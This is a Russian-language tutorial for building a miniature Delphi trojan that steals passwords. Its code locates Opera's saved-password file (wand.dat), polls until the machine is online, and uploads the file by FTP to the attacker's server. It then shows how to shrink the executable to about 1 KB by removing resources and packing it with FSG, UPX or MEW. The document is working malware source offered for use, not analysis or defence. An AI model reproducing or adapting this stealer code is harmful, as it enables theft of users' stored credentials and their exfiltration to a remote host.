Статья рассчитана на имеющих базовые знания. Чтобы создать миниатюрный троян с функционалом стиллера (ворующего пароли) и отправляющего их на фтп Размером от 4 кб до 1,2 или даже 1,1 кб нам понадобится среда Delphi 7, Программа для работы с ресурсами - Restorator (http://delfcode.ru/load/delphi/dsoft/restorator_2009/2-1-0-493) и несколько пакеров например FSG, UPX, MEW.
Чтобы получить ехе файл такого размера для начала необходимо подготовить "почву" перекомпилировать системные модули Delphi и получить два файла - SysInit.dcu, System.dcu (http://delfcode.ru/files/System.dcu http://delfcode.ru/files/SysInit.dcu).
после этого создаём папку с проектом и копируем модули в папку создаем файл *.dpr в этой папке, открываем и начинаем с чистого листа
Эти функции вынесены из стандартных модулей delphi :
function InternetOpen(lpszAgent:PChar;dwAccessType: integer ;lpszProxy,lpszProxyBypass:PChar;dwFlags: integer): Pointer ;stdcall;external winetdll name 'InternetOpenA'; function InternetConnect(hInet : pointer; lpszServerName: PChar;nServerPort: Word ;lpszUsername: PChar; lpszPassword: PChar;dwService: integer; dwFlags:integer;dwContext:integer): pointer ;stdcall;external winetdll name 'InternetConnectA'; procedure Sleep(dwMilliseconds:integer);stdcall;external kernel32 name 'Sleep'; function FtpPutFile(hConnect : pointer;lpszLocalFile:PChar;lpszNewRemoteFile:PChar;dwFlags: integer; dwContext:integer):Boolean;stdcall;external winetdll name 'FtpPutFileA'; function InternetCloseHandle(hInet: pointer):Boolean ;stdcall;external winetdll name 'InternetCloseHandle'; function FindClose(hFindFile: integer): BOOLEAN; stdcall; external kernel32 name 'FindClose'; function FindFirstFile(lpFileName: PChar; var lpFindFileData: TWin32FindData): integer; stdcall; external kernel32 name 'FindFirstFileA'; function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcatA'; function GetEnvironmentVariable(lpName: PChar; lpBuffer: PChar; nSize: integer): integer; stdcall; external kernel32 name 'GetEnvironmentVariableA'; function InternetGetConnectedState(lpdwFlags: pointer;dwReserved: INTEGER): BOOLEAN; stdcall; external winetdll name 'InternetGetConnectedState';
Эта функция замена стандартной FileExists чтобы не использовать SysUtils :
function Exists(path : PChar): boolean; var FD : TWin32FindData; H : Integer; begin H:=FindFirstFile(path,FD); if H <> -1 then Result:=true else Result:=false; FindClose(H); end;
Дальше идёт основной код проверка есть ли файл :
begin GetEnvironmentVariable('appdata',wand,MAX_PATH); lstrcat(wand,'\Opera\Opera\wand.dat'); if Exists(wand) then begin
Программа будет проверять есть ли соединение с интернет каждые 30 секунд, если есть то... :
repeat sleep(30000); until InternetGetConnectedState(nil,0);
Отсылаем нужный нам файл к нам на сервер :
IntOpn:= internetopen('nil',1,nil,nil,0); if assigned(IntOpn) then begin IntCnt:= internetconnect(IntOpn,PChar(server),21,PChar(Login),PChar(PassW),1,$08000000,0); if assigned(IntCnt) then begin sleep(100);
Написание закончено, теперь скомпилированный нами ехе весит около 4 кб, и в нем присутствуют по крайней мере 2 ненужные нам секции - ресурсов и релокации. Секцию ресурсов можно удалить в рестораторе - закидаваем файл в него и удаляем все ресурсы. Теперь ехе весит около 3,5 кб. Чтобы уменьшить его размер можно использовать пакеры FSG, UPX, MEW, которые так же можно найти на нашем сайте. Если упаковать полученный ехе то его размер составит 1,5 - 1,1 кб! Удачной разработки!